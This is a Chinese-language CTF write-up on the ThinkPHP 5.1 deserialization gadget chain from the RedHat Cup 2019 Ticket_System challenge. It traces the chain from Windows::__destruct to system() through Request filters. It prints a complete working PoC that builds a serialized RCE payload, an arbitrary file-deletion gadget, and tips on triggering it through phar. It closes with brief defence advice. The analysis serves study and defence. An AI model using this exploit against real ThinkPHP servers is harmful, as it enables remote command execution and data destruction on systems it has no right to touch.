ThinkPHP 5.1 反序列化利用链深度分析
前言
本文通过分析红帽杯2019 Ticket_System题目中的ThinkPHP 5.1反序列化漏洞,详细讲解其利用链构造思路和实现原理。该漏洞利用链设计精巧,涉及多个类的魔术方法和特性,最终可实现远程代码执行(RCE)。
漏洞背景
在红帽杯2019 Ticket_System题目中,首先通过XXE漏洞读取服务器上的hints.txt文件,提示需要实现RCE。结合报错信息发现系统使用ThinkPHP 5.2框架,进而联想到ThinkPHP的反序列化漏洞。
基础利用链分析
1. 反序列化入口点
利用链从think\process\pipes\Windows类的__destruct()方法开始:
public function __destruct()
{
$this->close();
$this->removeFiles();
}
其中removeFiles()方法存在文件删除漏洞:
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
通过控制$this->files数组,可以实现任意文件删除:
namespace think\process\pipes;
class Windows{
private $files = [];
public function __construct()
{
$this->files = ["/path/to/file"];
}
}
2. 触发__toString方法
为了实现RCE,需要更复杂的利用链。当$this->files中的元素是对象时,file_exists()会尝试将对象转为字符串,触发__toString()方法:
$this->files = [new Pivot()];
Pivot类继承自Model类,而Model类通过trait引入了Conversion特性,其中包含__toString()方法:
public function __toString()
{
return $this->toJson();
}
3. 调用链深入
toJson()方法调用toArray(),其中关键代码:
public function toArray()
{
// ...
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
$relation->visible($name);
}
// ...
}
}
}
// ...
}
通过控制$this->append和$this->data,可以触发Request类的__call方法:
protected $append = ["axin"=>['calc.exe', 'calc']];
protected $data = ["axin"=>new Request()];
RCE实现路径
1. Request类的__call方法
当调用不存在的方法visible()时,触发__call:
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
通过控制$this->hook实现方法调用:
protected $hook = ["visible"=>[$this,"isAjax"]];
2. isAjax方法链
isAjax()方法调用链:
public function isAjax($ajax = false)
{
// ...
$result = $this->param($this->config['var_ajax']) ? true : $result;
// ...
}
param() -> input() -> filterValue()最终到达危险函数调用:
private function filterValue(&$value, $key, $filters)
{
// ...
if (is_callable($filter)) {
$value = call_user_func($filter, $value);
}
// ...
}
通过设置$this->filter = "system",可以实现命令执行:
protected $filter = "system";
protected $config = ["var_ajax"=>'axin'];
完整PoC
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["axin"=>['calc.exe', 'calc']];
$this->data = ["axin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "";
protected $config = [];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'axin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
实际利用技巧
- 反序列化触发:在实际题目中,可能需要通过phar协议触发反序列化
- 参数控制:GET/POST参数中需要包含
axin=command来实现命令执行 - 权限问题:注意Web服务器用户权限,确保能执行目标命令
防御建议
- 升级到最新版本的ThinkPHP
- 避免反序列化用户可控数据
- 对魔术方法的使用保持谨慎
- 使用白名单机制过滤危险函数
总结
该利用链展示了从反序列化入口到RCE的完整路径,涉及:
- 文件删除漏洞
__destruct和__toString魔术方法- trait特性的利用
__call方法的危险调用- 参数控制实现命令执行
理解这个利用链有助于深入掌握PHP反序列化漏洞的挖掘和防御方法。